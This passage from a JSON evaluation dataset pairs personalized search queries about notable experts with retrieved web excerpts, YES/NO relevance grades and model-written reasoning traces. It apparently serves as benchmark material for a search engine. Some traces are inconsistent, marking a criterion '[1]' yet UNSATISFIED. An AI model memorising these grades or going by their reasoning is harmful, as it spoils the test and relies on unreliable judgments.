adviser/mentor -- either a college professor or an experienced researcher. You'll want to meet with your adviser/mentor weekly to talk about progress and problems you encounter along the way. Mostly, this weekly meeting holds you and your partner accountable for progress.\nIn my field (Computational Social Science) there are many simulation models that are simple enough to be replicated from their specification. This varies widely in subfields of Computer Science, so your mileage may vary.\nThe point to all this is to get you an experience in the realm of research without requiring that you first go throu",
                "model_trace": "Query Decomposition:\n1. [high school student interested in studying computer science]: The document is targeted towards high school students interested in computer science research -> ([1], SATISFIED)\n2. [notable computer science professors or researchers]: The document does not mention any specific notable professors or researchers in computer science -> ([0], UNSATISFIED)\n3. [significant contributions to the field]: The document does not discuss specific contributions by notable figures in computer science -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to high school students interested in computer science but does not provide information on notable professors or researchers with significant contributions. Therefore, it does not fully address the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Why I Majored in Computer Science",
                "url": "https://www.pomona.edu/academics/departments/computer-science/why-i-majored",
                "published_date": null,
                "text": "Abdul Ajeigbe \u201922\nI chose to major in computer science because it affords me the opportunity to explore both of my passions: solving problems and producing creative experiences. Through code, I can generate ideas that solve user-specific problems, design and ideate possible solutions, and then execute them. Ultimately, engaging in this end-to-end experience is fulfilling to me because I get to not only imagine an experience but also bring it to fruition.\nWhat I enjoy most about the Computer Science Department is the healthy collaboration. In class, professors often encourage us to talk with one another to better our understanding of concepts and solve problems. Outside of class, professors sometimes assign peer projects and offer additional support by providing extensive office hours and mentor sessions. At these mentor sessions, students work together to master challenging concepts and complete different projects. Everyone in the department\u2014both professors and students\u2014is truly excited to help and collaborate with others.\nThis past summer (2020), I worked on a RAISE project with the Hive and three of my peers. Using the human centered design process, my team and I redesigned the virtual community experience and came up with\u00a0 Screen Breakers  . My specific role on the team was designing and developing the website. Although I had no experience developing websites beforehand, my CS experience at Pomona prepared me to learn new coding languages. Using\u00a0React, a JavaScript library, I was able to successfully build my first website and share an impactful project. Since the completion of my RAISE project, I have developed more websites and grown more confident in my coding abilities. To read more about Screen Breakers, check out our   Medium article  . \nAbigail Andrews \u201922\nMy first exposure to computer science came my first-year of college when I enrolled in Introduction to CS in Python on a whim. Almost immediately, I realized that I enjoyed the sort of puzzles and work in my CS class abundantly more than the sorts of ",
                "model_trace": "Query Decomposition:\n1. {high school student interested in studying computer science in college}: The document is about students majoring in computer science, which is relevant to the user's interest -> ([1], SATISFIED)\n2. {notable computer science professors or researchers that have made significant contributions to the field}: The document does not mention any notable computer science professors or researchers -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the user's interest in studying computer science in college but does not address the subcomponent about notable computer science professors or researchers. Therefore, it does not fully meet the user's query needs. NO."
            },
            {
                "grade": "NO",
                "title": "Computer Science",
                "url": "https://www.smith.edu/academics/computer-science",
                "published_date": null,
                "text": "Computer Science prepares students to lead in a world experiencing sweeping technological change. Students choosing to major in computer science can look forward to a career in one of the many fields to which computer technology has become vital, including the sciences, arts and entertainment, banking and commerce, and of course the communication and computer industries themselves.\n \n\t\n Announcements  \n \n\t\n\t\n Now Hiring\n\t \n The department is hiring for two faculty positions this year, including one at the senior level.\t \n\t \t\n\t\n \n \nAbout Computer Science at Smith\n \n \n  \n \n About the Department \n \n  \n \n  \nComputer science was founded as an independent department in 1988.\u00a0\nComputer Science Studies for Non-Majors\nFor non-majors, we offer courses demystifying the inner workings of computers and the Internet. Students can take a course in interactive web design, providing them with bankable skills on the job market. For those interested in exploring further, we invite you to check out our courses on beginning programming, computer graphics and artificial intelligence.\nComputing and the Arts\nArtistic applications of computing are a growing initiative in the department. In recent years we have added new minors in digital arts and digital music. Visiting faculty and active interdisciplinary ties with related departments make this an exciting and vibrant area.   Student Involvement\nComputer science students are very active in the department. Three liaisons attend department faculty meetings\u00a0and run monthly social gatherings, such as movie night and game night. A student-led club organizes career-oriented training and offers community outreach via a local chapter of\u00a0Girls Who Code. Many students work as teaching assistants, running help sessions, grading and aiding students during teaching labs. Students also do research as special studies, as research grant assistants or as honors theses. Faculty have\u00a0summer research projects\u00a0available for motivated and interested students. For more information, contact a\u00a0faculty member\u00a0as",
                "model_trace": "[QUERY] I'm a high school student interested in studying computer science in college. What are some notable computer science professors or researchers that have made significant contributions to the field that I could learn more about?\n\n[WEBPAGE INFORMATION]\n[TITLE] Computer Science\n[URL] https://www.smith.edu/academics/computer-science\n[DATE PUBLISHED] None\n[CONTENT] Computer Science prepares students to lead in a world experiencing sweeping technological change. Students choosing to major in computer science can look forward to a career in one of the many fields to which computer technology has become vital, including the sciences, arts and entertainment, banking and commerce, and of course the communication and computer industries themselves.\n \n Announcements  \n \n Now Hiring\n The department is hiring for two faculty positions this year, including one at the senior level.\t \n \n About Computer Science at Smith\n \n About the Department \n \n Computer science was founded as an independent department in 1988. \nComputer Science Studies for Non-Majors\nFor non-majors, we offer courses demystifying the inner workings of computers and the Internet. Students can take a course in interactive web design, providing them with bankable skills on the job market. For those interested in exploring further, we invite you to check out our courses on beginning programming, computer graphics and artificial intelligence.\nComputing and the Arts\nArtistic applications of computing are a growing initiative in the department. In recent years we have added new minors in digital arts and digital music. Visiting faculty and active interdisciplinary ties with related departments make this an exciting and vibrant area.   Student Involvement\nComputer science students are very active in the department. Three liaisons attend department faculty meetings and run monthly social gatherings, such as movie night and game night. A student-led club organizes career-oriented training and offers community outreach via a local chapter of Girls Who Code. Many students work as teaching assistants, running help sessions, grading and aiding students during teaching labs. Students also do research as special studies, as research grant assistants or as honors theses. Faculty have summer research projects available for motivated and interested students. For more information, contact a faculty member as\n\nQuery Decomposition:\n1. {high school student interested in studying computer science in college}: This document provides information about a computer science department at a college, which is relevant to a prospective student -> ([1], SATISFIED)\n2. {notable computer science professors or researchers}: The document does not mention specific notable computer science professors or researchers or their contributions -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to general information about studying computer science in college, but it does not address the user's request for information about notable computer science professors or researchers. NO."
            }
        ]
    },
    {
        "query": "I'm a business owner looking to improve my company's customer service. Can you suggest any customer service experts or thought leaders that I could read up on or potentially consult with?",
        "grid_pos": [
            3,
            8
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Person",
        "reasoning_trace": [
            "The queries are designed to test Exa's ability to understand personalized information about the user and their interests, and provide relevant recommendations for experts, researchers, or thought leaders in those domains. The queries cover a range of fields, including machine learning, computer science, customer service, history, and music theory. By asking for specific individuals to learn from, the queries require Exa to have a deep understanding of the people and their contributions within those fields."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "CHIP BELL",
                "url": "https://www.retailcustomerexperience.com/contributors/chipbell/",
                "published_date": "2020-04-08",
                "text": "Chip R. Bell is a renowned keynote speaker and author of several best-selling books including Take Their Breath Away, Sprinkles: Creating Awesome Experiences through Innovative Service and Kaleidoscope: Delivering Innovative Service That Sparkles. He can be reached at chipbell.com. BY CHIP BELL blog In the midst of COVID-19 don\u2019t get mad, get smart Chip Bell suggests retailers take a page from a small business in Georgia that is not only doing business but helping keep customers safe during the COVID-19 pandemic. The retailer's approach is also proving to be a winning strategy for the customer experience. Commentary Coming down from a service high Chip Bell explains why coming down from a service high is an opportunity for celebration, affirmation, consolation, and education. Each is a building block for the effective planning of the gap between remorse and readiness. Jan. 3, 2019 | by Chip Bell \u2014 Customer Loyalty Consultant/Author, Chip Bell Group Commentary Reining in customers with a little delight Chip Bell shares a childhood experience that reflects on how to effectively rein in customers and why the retail customer experience should be a partnership rather than a dictatorship. Nov. 12, 2018 | by Chip Bell \u2014 Customer Loyalty Consultant/Author, Chip Bell Group Commentary Are your customers' experiences profoundly remarkable? Chip Bell explains why the emotional connection in the customer experience game is a mere table stake, not an extra or a value-add. It is the rule, not the exception. The absence of an emotional connection is the definition of a poor customer experience. Aug. 14, 2018 | by Chip Bell \u2014 Customer Loyalty Consultant/Author, Chip Bell Group Commentary Are you an innovative customer whisperer? Chip R. Bell explains why retail success starts with customer intelligence that provokes insight, not just customer information, and includes shifting the \"locus of focus\" from customer wants and needs to hopes and aspirations. April 18, 2018 | by Chip Bell \u2014 Customer Loyalty Consultant/Author, Chip Bell ",
                "model_trace": "Query Decomposition:\n1. {business owner looking to improve company's customer service}: The query is about improving customer service, which is the main focus of the document -> ([1], SATISFIED)\n2. {customer service experts or thought leaders}: The document is about Chip Bell, a renowned customer service expert and thought leader -> ([1], SATISFIED)\n3. {read up on or potentially consult with}: The document mentions Chip Bell's books and provides a way to reach him, which satisfies the need to read up on or consult with him -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Home - John Tschohl",
                "url": "https://johntschohl.com/",
                "published_date": "2017-02-28",
                "text": "Meet John\nFor over 45 years, John Tschohl has been solely focused on helping organizations drive a service culture through his technology built on practicality, simplicity, and common sense. With his credibility and focus on empowerment, he has the ability to emotionally communicate the power of the service strategy from top executives to the total workforce.\nTschohl is dynamic, hard-hitting, and inspirational. His experience and \u201cguru\u201d status provide the credibility critical to get management buy-in. He will create an emotional buy-in using measurable data that CEO\u2019s respond to. His books are especially recognized and esteemed by senior executives as the most powerful must-reads in Customer Service. His new book Relentless was just released. John\u2019s common sense message is built around his 45 years in speaking, designing training programs, and developing a high-performance workforce.\n Learn More About John Here",
                "model_trace": "Query Decomposition:\n1. {business owner looking to improve company's customer service}: The document is about John Tschohl, who focuses on helping organizations drive a service culture, which aligns with improving customer service -> ([1], SATISFIED)\n2. {customer service experts or thought leaders}: John Tschohl is described as a customer service expert with \"guru\" status and a long history in the field -> ([1], SATISFIED)\n3. {read up on or potentially consult with}: The document mentions that John Tschohl has written books and offers training programs, suggesting that one can read his materials or consult with him -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied by the document. YES"
            },
            {
                "grade": "YES",
                "title": "Home - Micah Solomon: customer service speaker, customer service keynote speaker, author, customer experience consultant, Forbes contributor, influencer and thought leader.",
                "url": "https://micahsolomon.com/",
                "published_date": "2020-01-27",
                "text": "Ways We Can Help You\n\nCustomer Service and Customer Experience (CX) Consulting and Training\n\nWe offer consulting in the disciplines of customer experience (CX), customer service, culture change, and company culture, ranging from modest \u201crefreshes\u201d to full-on transformation initiatives led by Micah Solomon, whom Inc. Magazine calls \u201cThe World\u2019s #1 Customer Service Turnaround Expert.\u201d\nOur training approach is both practical and inspiring. It\u2019s designed to build practical skills and knowledge as well as the employee flexibility and empathy that lead to true \u201cwow\u201d moments and inspire customer engagement and loyalty.\n\nKeynote Speaker, Webinar and Podcast Host, Digital Training/Learning\n\nMicah is one of the best-known keynote speakers on customer experience (CX), customer service, company culture, leadership, and innovation. He also offers half-day workshops, webinars, and training, always customized to your specific audience, business situation, and challenges. Micah travels throughout the U.S. and the world.\nDigitally, Micah is available as a webinar creator/host and podcast designer/host as well as offering customized digital learning/training.\n\nExecutive Content Creation and Ghostwriting, Influencer, Subject Matter Expert (SME)\n\nBestselling author Micah Solomon offers content creation, co-writing/ghostwriting (full-length business memoirs, biographies, and thought-leadership books; lead-generating ebooks; articles and blog posts), corporate writing, and brand building.\nMicah is considered a leading influencer, thought leader, and subject matter expert (SME) on customer experience (CX), customer service, company culture and culture change, general business, SMB, entrepreneurship, leadership, marketing, and innovation.\n\nWhat People Are Saying\n\nHerve Humler \nCo-founder and Emeritus Chairman, The Ritz-Carlton Hotel Company\n\n\"Micah Solomon is my go-to expert on exceptional customer service and building a customer-focused culture.\"\n\nJ.D. Peterson \nVP Marketing, Zendesk\n\n\"Micah Solomon has repeatedly been our top-rated sp",
                "model_trace": "Query Decomposition:\n1. {Customer service experts or thought leaders}: The document provides information about Micah Solomon, who is described as a customer service expert and thought leader -> ([1], SATISFIED)\n2. {Resources to read up on}: The document mentions that Micah Solomon is a bestselling author and contributor to Forbes, indicating that there are written resources available -> ([1], SATISFIED)\n3. {Potential consultants}: The document states that Micah Solomon offers consulting services in customer service and customer experience -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents by providing information about a customer service expert, resources to read, and consulting services. YES."
            },
            {
                "grade": "NO",
                "title": "21 Key Customer Service Skills (and How to Develop Them)",
                "url": "https://www.helpscout.com/blog/customer-service-skills/",
                "published_date": null,
                "text": "It doesn\u2019t matter how great your product is: If your customer service is poor, people will complain about it, and you\u2019ll lose customers. The good news: It\u2019s not impossible to turn things around. Transforming your customer service from mediocre to great won't happen overnight, though. It requires a serious commitment to meaningful change, a team of rockstar support professionals, and work across the entire organization. What is customer service? Customer service is the act of providing support to both prospective and existing customers. Customer service professionals commonly answer customer questions through in-person, phone, email, chat, and social media interactions and may also be responsible for creating documentation for self-service support. Organizations can also create their own definitions of customer service depending on their vaues and the type of support they want to provide. For example, at Help Scout, we define customer service as the act of providing timely, empathetic help that keeps customers\u2019 needs at the forefront of every interaction. Why is customer service important? When 86% of customers quit doing business with a company due to a bad experience, it means that businesses must approach every support interaction as an opportunity to acquire, retain, or up-sell. Good customer service is a revenue generator. It gives customers a complete, cohesive experience that aligns with an organization\u2019s purpose. According to a variety of studies, U.S. companies lose more than $62 billion annually due to poor customer service, and seven out of 10 consumers say they\u2019ve spent more money to do business with a company that delivers great service. Understanding that customer service is the cornerstone of your customer experience helps you leverage it as an opportunity to delight customers and engage them in new, exciting ways. What are the principles of good customer service? There are four key principles of good customer service: It's personalized, competent, convenient, and proactive. These factors have the b",
                "model_trace": "Query Decomposition:\n1. [Business owner looking to improve company's customer service]: The document provides information on improving customer service skills, which aligns with the intent of improving customer service -> ([1], SATISFIED)\n2. [Customer service experts or thought leaders to read up on or consult with]: The document does not mention any specific customer service experts or thought leaders -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to improving customer service but does not address the request for specific experts or thought leaders. Therefore, it is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "How To Deliver Great Customer Service (With Examples)",
                "url": "https://www.superoffice.com/blog/five-ways-to-deliver-excellent-customer-service/",
                "published_date": null,
                "text": "When was the last time you provided good customer service?\nZappos built a billion dollar empire on ways to deliver excellent customer service.\nIn fact, delivering excellent customer service is one of Zappos\u2019 company values: Our purpose is simple: to live and deliver WOW.\u201d\nAnd while there are thousands of negative customer service stories on the web, there are very few positive stories.\nWhether you provide customer service by phone, email, live chat or social media, we've gathered some of our favorite stories online and share our thoughts on what makes them so good.\nWhat is good customer service?\n Table of contents\u00a0\nHow important is customer service?\u00a0\nThe benefits of good customer service\u00a0\nMost popular customer service channels\u00a0\n5 good customer service examples to provide great service\u00a0\nRespond as quickly as possible\u00a0\nKnow your customers\u00a0\nFix your mistakes\u00a0\nListen to your customers\u00a0\nThink long term \u2013 A customer is for life\u00a0\n3 ways to improve customer service\u00a0\nDeliver context-based support\u00a0\nInnovate the customer journey\u00a0\nInvest in human and automated service channels\u00a0\nHow important is good customer service?\u00a0\nCustomer service has an impact on both existing customers and potential customers. Did you know that 68% of consumers would react by telling family and friends about a bad experience by posting it on a social network. And almost 50% of customers claim they would switch to a new brand after just one bad experience! \nAnd as each Facebook profile has an average of 338 friends , one negative experience can quickly reach thousands!\u00a0\nHowever, there is great value in ensuring you deliver positive customer service.\u00a0\nAccording to the recent Achieving Customer Amazement report, 1 in 4 customers is willing to pay up to 10% more in almost every industry if they receive excellent customer service!\u00a0\u00a0\nAnd an astounding 93% of customers are likely to make repeat purchases with companies who offer excellent customer service.\u00a0\nIncreased sales and customers is one of the benefits. But there\u2019s more, too.\u00a0\nThe benefits of good cust",
                "model_trace": "Query Decomposition:\n1. [Business owner looking to improve company\u2019s customer service]: The document provides information on how to deliver excellent customer service, including examples and strategies -> ([1], SATISFIED)\n2. [Customer service experts or thought leaders to read up on or consult with]: The document does not mention specific customer service experts or thought leaders -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is [Business owner looking to improve company\u2019s customer service], which is satisfied. However, the document does not address the specific request for customer service experts or thought leaders. Since the primary intent is to find experts or thought leaders, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Chapter 3: Managing a Customer Service Team",
                "url": "https://ecampusontario.pressbooks.pub/customercentricstrategy/chapter/chapter-3-managing-a-customer-service-team/",
                "published_date": null,
                "text": "After reading this chapter, you should be able to do the following:\nDescribe how to create a customer service philosophy for your company, department or team.\nExplain the purpose of having service standards and goals.\nDescribe why it is important to set SMART goals for customer service teams.\nExplain why it is important to measure service quality.\nIdentify obstacles to outstanding service.\nDescribe what service recovery looks, sounds, and feels like.\nSuggest ways in which to improve service quality.\nIdentify the costs of poor customer service.\n Customer Service Philosophy \n\u201cIf you\u2019re looking to improve your customer experience, start by creating a customer service philosophy for your support team. Having a shared philosophy keeps everyone focused on the same goal and helps them understand the holistic approach to achieving that goal.\u201d [1]  \nIn an environment in which front-line staff deal with an endless stream of unpredictable scenarios, having a strong philosophy helps empower team members, provides a coherent story to help employees understand company values, and sets the foundation for a customer-first strategy that\u2019s proactive rather than reactive. No matter which employee a customer interacts with, they will experience the same delightful service that epitomizes the company\u2019s values.\n Photo by Blake Wisz on Unsplash \n\u201cA  customer service philosophy  is a shared mission for your support team, a set of guiding principles that ensure you\u2019re upholding your core values with every customer interaction.\u201d [2]  \nGenerally, a customer service philosophy is composed of two parts: vision and values.\n Customer Service Vision \nThe first section of a customer service philosophy is a  customer service vision statement , which Jeff Toister defines as \u201ca statement that clearly defines the type of customer service employees are expected to provide.\u201d [3]  \n Customer Service Values \nYour vision statement is followed by your team values.  Customer service values  impact the experience the customer receives and they help to defin",
                "model_trace": "Query Decomposition:\n1. {Customer service experts or thought leaders}: The document mentions Jeff Toister as a reference for customer service vision statements, which suggests he might be a thought leader in the field -> ([1], SATISFIED)\n2. {Information to improve company's customer service}: The document provides detailed information on creating a customer service philosophy, setting goals, measuring service quality, and improving service quality -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by mentioning a customer service expert (Jeff Toister) and providing comprehensive information on improving customer service. YES."
            }
        ]
    },
    {
        "query": "I'm a history buff and I'm particularly interested in the American Civil War. Are there any renowned Civil War historians or authors that I should check out to deepen my understanding of that period?",
        "grid_pos": [
            3,
            8
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Person",
        "reasoning_trace": [
            "The queries are designed to test Exa's ability to understand personalized information about the user and their interests, and provide relevant recommendations for experts, researchers, or thought leaders in those domains. The queries cover a range of fields, including machine learning, computer science, customer service, history, and music theory. By asking for specific individuals to learn from, the queries require Exa to have a deep understanding of the people and their contributions within those fields."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "James McPherson",
                "url": "https://www.battlefields.org/contributors/james-mcpherson",
                "published_date": "2023-01-01",
                "text": "James McPherson was born in North Dakota and raised in Minnesota, where he graduated from Gustavus Adolphus College in 1958. He received his Ph.D. from Johns Hopkins University in 1963. From 1962 to his retirement in 2004 he taught at Princeton University, where he is currently the George Henry Davis '86 Professor of American History Emeritus. Several of his books on the era of the American Civil War have won prizes, including the Pulitzer Prize (1989) for Battle Cry of Freedom: The Civil War Era and two Lincoln Prizes (1998 and 2009) for For Cause and Comrades: Why Men Fought in the Civil War and Tried by War: Abraham Lincoln as Commander in Chief . He has been associated with battlefield preservation since he first joined the board of the Association for the Preservation of Civil War Sites back in 1990. He has served as president of the Society of American Historians and of the American Historical Association. He is currently working on a book about Jefferson Davis as Commander in Chief.",
                "model_trace": "Query Decomposition:\n1. {Renowned Civil War historians or authors}: This document provides detailed information about James McPherson, a renowned historian of the American Civil War -> ([1], SATISFIED)\n2. {Deepen understanding of the American Civil War}: The document mentions several of McPherson\u2019s award-winning books on the American Civil War, which would help deepen the user's understanding of the period -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents, providing information about a renowned Civil War historian and his significant contributions to the field. YES."
            },
            {
                "grade": "YES",
                "title": "A. Wilson Greene - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/A._Wilson_Greene",
                "published_date": "2018-11-24",
                "text": "From Wikipedia, the free encyclopedia\n\nA. Wilson Greene Civil War historian Wilson Greene, 2008 Born December 18, 1949 (age 73) Chicago, Illinois Occupation Museum director and author Education Florida State University (BA); Louisiana State University (MA) Genre History Subject American Civil War Notable works Civil War Petersburg: Confederate City in the Crucible of War Notable awards Laney Book Prize (2007);Nevins-Freeman Award (2011) \n Allen Wilson Greene (born December 18, 1949), also known as Will Greene, [1] is an American historian, author, and retired museum director. Greene was the director of the Association for the Preservation of Civil War Sites. Later, he became director of Pamplin Historical Park and the National Museum of the Civil War Soldier in Petersburg, Virginia. He also served on the national oversight board for the Institute of Museum and Library Services Over the years, Greene has made ten appearances on C-SPAN.\n\nEarly life and education[edit]\nGreene was born on the south side of Chicago, Illinois on December 18, 1949. He grew up in Wheaton, a city located 26 miles west of Chicago. [2] [3] [4] In 1963, Greene's parents took him to visit the Civil War battlefield at Gettysburg, Pennsylvania. That was the beginning of his lifelong interest in American Civil War history. [3] [5] \n Greene attended Florida State University where he graduated in 1972 with a Bachelor of Arts degree in American history. He went on to graduate school at Louisiana State University. At Louisiana State, he studied under the well-known American historian, T. Harry Williams. Greene received a Master of Arts in history from Louisiana State in 1977. [2] [3] [4] [6]\n\nCivil war historian[edit]\nAfter college, Greene went to work for the National Park Service as a historian and park ranger. [2] [4] [6] [7] During his time with the Park Service, Greene was assigned to a number of national historic park sites including Independence National Historical Park, Gulf Islands National Seashore, Chalmette National Historical Park, Pete",
                "model_trace": "Query Decomposition:\n1. {Renowned Civil War historians or authors}: The document provides information about A. Wilson Greene, who is described as a Civil War historian and author -> ([1], SATISFIED)\n2. {Deepen understanding of the American Civil War}: The document mentions Greene's notable works, his educational background, and his involvement in Civil War history, indicating that he is a reputable source for deepening understanding of the period -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing detailed information about A. Wilson Greene, a renowned historian and author specializing in the American Civil War. YES"
            },
            {
                "grade": "YES",
                "title": "Author Page",
                "url": "https://www.americanheritage.com/users/james-m-mcpherson",
                "published_date": "2019-01-01",
                "text": "Breadcrumb\n\nHome\n /\n\nJames M. McPherson\n\nJames M. McPherson\n\nJames M. McPherson, the George Henry Davis \u201986 Professor of History Emeritus at Princeton University, is perhaps America\u2019s foremost living Civil War scholar. Among his books are his one-volume history of the war, Battle Cry of Freedom, Lincoln and The Second American Revolution, and For Cause and Comrades: Why Men Fought in the Civil War, winner of the Lincoln Prize in 1998.\n\nArticles by James McPherson\n\nOnly hours after being sworn in, Lincoln faced the most momentous decision in presidential history\n Read >>\n\nThe nation's leading authority on the conflict explains why the Civil War still fascinates us\n Read >>\n\nOnly hours after being sworn in, Lincoln faced the most momentous decision in presidential history.\n Read >>\n\nEven though he had no military training, Lincoln quickly rose to become one of America\u2019s most talented commanders\n Read >>\n\nThe events of 9/11 were horrific, almost beyond comprehension. But when our nation was sorely tried before, it emerged stronger and better than before.\n Read >>\n\nA LEADING CIVIL WAR HISTORIAN CHANGES ONE SMALL HAPPENSTANCE\u2014WHICH IN TURN CHANGES EVERYTHING\n Read >>\n\nMore than the Revolution, more than the Constitutional Convention, it was the crucial test of the American nation. The author of Battle Cry of Freedom, the most successful recent book on the subject, explains why the issues that fired the Civil War are as urgent in 1990 as they were in 1861. \n Read >>\n\n\"Web only stories\" by this contributor",
                "model_trace": "Query Decomposition:\n1. {Renowned Civil War historians or authors}: The document is about James M. McPherson, who is described as \"perhaps America\u2019s foremost living Civil War scholar\" -> ([1], SATISFIED)\n2. {Deepen understanding of the American Civil War}: The document mentions several books by McPherson that cover various aspects of the Civil War, indicating that his work could deepen understanding of the period -> ([1], SATISFIED)\n\nAssessment: The document clearly identifies James M. McPherson as a renowned Civil War historian and lists his works that could help deepen understanding of the American Civil War. YES."
            },
            {
                "grade": "NO",
                "title": "Considering History: Robert E. Lee, James Longstreet, and ...",
                "url": "https://www.saturdayeveningpost.com/2019/05/considering-history-robert-e-lee-james-longstreet-and-the-truths-of-civil-war-memory/",
                "published_date": null,
                "text": "Weekly Newsletter\n\t\n\tThe best of The Saturday Evening Post in your inbox!\t\n\t\n\t This series by American studies professor Ben Railton explores the connections between America\u2019s past and present.  \nGrowing up in Virginia, the Civil War was my gateway to a lifelong love of all things American history, and as a youthful Civil War buff, General Robert E. Lee was my idol. Even at a young age I certainly understood that the Confederacy had fought for a profoundly ignoble cause, and that the war\u2019s outcome had been a just and necessary one. But I nonetheless embraced every element of the Lee mythos: the U.S. Army veteran who reluctantly joined the cause in solidarity with his home state but recognized the evils of slavery; the sensitive soul who declared (during a victory, the Battle of Fredericksburg) \u201cIt is well that war is so terrible, otherwise we should grow too fond of it\u201d; and most of all (to a kid obsessed with military history and battle maps) the brilliant strategist who ran circles around the Union Army\u2019s lesser military minds for much of the war.\nThat last element in particular led me to a concurrent youthful disdain for General James Longstreet, one of Lee\u2019s chief lieutenants throughout the war and yet a frequent dissenter from Lee\u2019s strategies. That seemed particularly to be the case at the pivotal battle of Gettysburg, when (the story went) Longstreet\u2019s disagreements with and deviations from Lee\u2019s plans contributed to the Confederate loss. Yet whatever the details of that controversial military moment, the broader historical reality is both distinct and crucially telling: the deification of Lee and demonization of Longstreet reflect not military history at all, but instead the postwar and ongoing development of Civil War Memory.\nAlthough Lee (1807-1870) was fourteen years older than Longstreet (1821-1904), the details of the two men\u2019s careers through the Civil War are remarkably similar (and echo those of many other Civil War officers on both sides). Both graduated from West Point when they were 21 years ol",
                "model_trace": "Query Decomposition:\n1. {Renowned Civil War historians or authors}: The document mentions Ben Railton, an American studies professor who writes about Civil War memory, but it does not provide a list or detailed information about multiple renowned historians or authors -> ([1], UNSATISFIED)\n2. {Deepen understanding of the American Civil War}: The document discusses the roles and perceptions of Robert E. Lee and James Longstreet, which could contribute to a deeper understanding of Civil War memory, but it is not focused on providing comprehensive historical insights or recommendations for further reading -> ([2], UNSURE)\n\nAssessment: The document primarily focuses on the perspectives and memory of specific Civil War figures rather than providing a list or detailed information about renowned Civil War historians or authors. Therefore, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "A Mistaken Form of Trust: Ken Burns's The Civil War At Thirty",
                "url": "https://www.journalofthecivilwarera.org/2020/10/a-mistaken-form-of-trust-ken-burnss-the-civil-war-at-thirty/",
                "published_date": null,
                "text": "Confederate flags are coming down, statues are being toppled, Lady Antebellum has lost the \u201cAntebellum,\u201d and the Dixie Chicks have lost the \u201cDixie.\u201d But the reckoning that\u2019s been sweeping the United States in recent months has left one Civil War monument strangely untouched: the Ken Burns documentary. When it was first broadcast on PBS, thirty years ago this September, The Civil War was an unprecedented cultural event: a history documentary that not only won Emmys and Grammys, but was mentioned on Twin Peaks, parodied on Saturday Night Live, and immortalized in New Yorker cartoons. To this day, it\u2019s enshrined as the definitive story of the American Civil War. There\u2019s just one problem: the war depicted in these nine episodes never happened.\nKen Burns presents a Civil War caused not by slavery, but by a failure to compromise. A war in which the Confederacy fought for a noble cause, and whose heroes include not only Abraham Lincoln and Ulysses S. Grant, but Robert E. Lee and Nathan Bedford Forrest \u2013 the first Grand Wizard of the Ku Klux Klan. In 1996, Robert Toplin published Ken Burns\u2019s The Civil War: Historians Respond, a collection of nine critical essays about the documentary. Scholars compared it to everything from Homer\u2019s Iliad, to D.W. Griffith\u2019s Birth of a Nation, and many historians signalled their dismay with Burns\u2019s simplistic treatment of the war. [1]  These debates, however, have had little effect on the popular consensus, and most viewers continue to accept Ken Burns\u2019s version of the war uncritically. But The Civil War is long overdue for a reckoning \u2013 and a remake. In romanticizing the Confederacy, obscuring the role of slavery, and refusing to grapple with the war\u2019s devastating racial repercussions, the much-loved documentary is complicit in a long tradition of distorting the meaning of the Civil War.\nThe trouble begins with the documentary\u2019s star: Shelby Foote is a southern novelist with a down-home drawl, a gift for storytelling, and a very troubling version of the events of 1861 to 1865. Foote\u2019s ac",
                "model_trace": "[QUERY] I'm a history buff and I'm particularly interested in the American Civil War. Are there any renowned Civil War historians or authors that I should check out to deepen my understanding of that period?\n\n[WEBPAGE INFORMATION]\n[TITLE] A Mistaken Form of Trust: Ken Burns's The Civil War At Thirty\n[URL] https://www.journalofthecivilwarera.org/2020/10/a-mistaken-form-of-trust-ken-burnss-the-civil-war-at-thirty/\n[DATE PUBLISHED] None\n[CONTENT] Confederate flags are coming down, statues are being toppled, Lady Antebellum has lost the \u201cAntebellum,\u201d and the Dixie Chicks have lost the \u201cDixie.\u201d But the reckoning that\u2019s been sweeping the United States in recent months has left one Civil War monument strangely untouched: the Ken Burns documentary. When it was first broadcast on PBS, thirty years ago this September, The Civil War was an unprecedented cultural event: a history documentary that not only won Emmys and Grammys, but was mentioned on Twin Peaks, parodied on Saturday Night Live, and immortalized in New Yorker cartoons. To this day, it\u2019s enshrined as the definitive story of the American Civil War. There\u2019s just one problem: the war depicted in these nine episodes never happened.\nKen Burns presents a Civil War caused not by slavery, but by a failure to compromise. A war in which the Confederacy fought for a noble cause, and whose heroes include not only Abraham Lincoln and Ulysses S. Grant, but Robert E. Lee and Nathan Bedford Forrest \u2013 the first Grand Wizard of the Ku Klux Klan. In 1996, Robert Toplin published Ken Burns\u2019s The Civil War: Historians Respond, a collection of nine critical essays about the documentary. Scholars compared it to everything from Homer\u2019s Iliad, to D.W. Griffith\u2019s Birth of a Nation, and many historians signalled their dismay with Burns\u2019s simplistic treatment of the war. [1]  These debates, however, have had little effect on the popular consensus, and most viewers continue to accept Ken Burns\u2019s version of the war uncritically. But The Civil War is long overdue for a reckoning \u2013 and a remake. In romanticizing the Confederacy, obscuring the role of slavery, and refusing to grapple with the war\u2019s devastating racial repercussions, the much-loved documentary is complicit in a long tradition of distorting the meaning of the Civil War.\nThe trouble begins with the documentary\u2019s star: Shelby Foote is a southern novelist with a down-home drawl, a gift for storytelling, and a very troubling version of the events of 1861 to 1865. Foote\u2019s ac\n\nQuery Decomposition:\n1. {Renowned Civil War historians 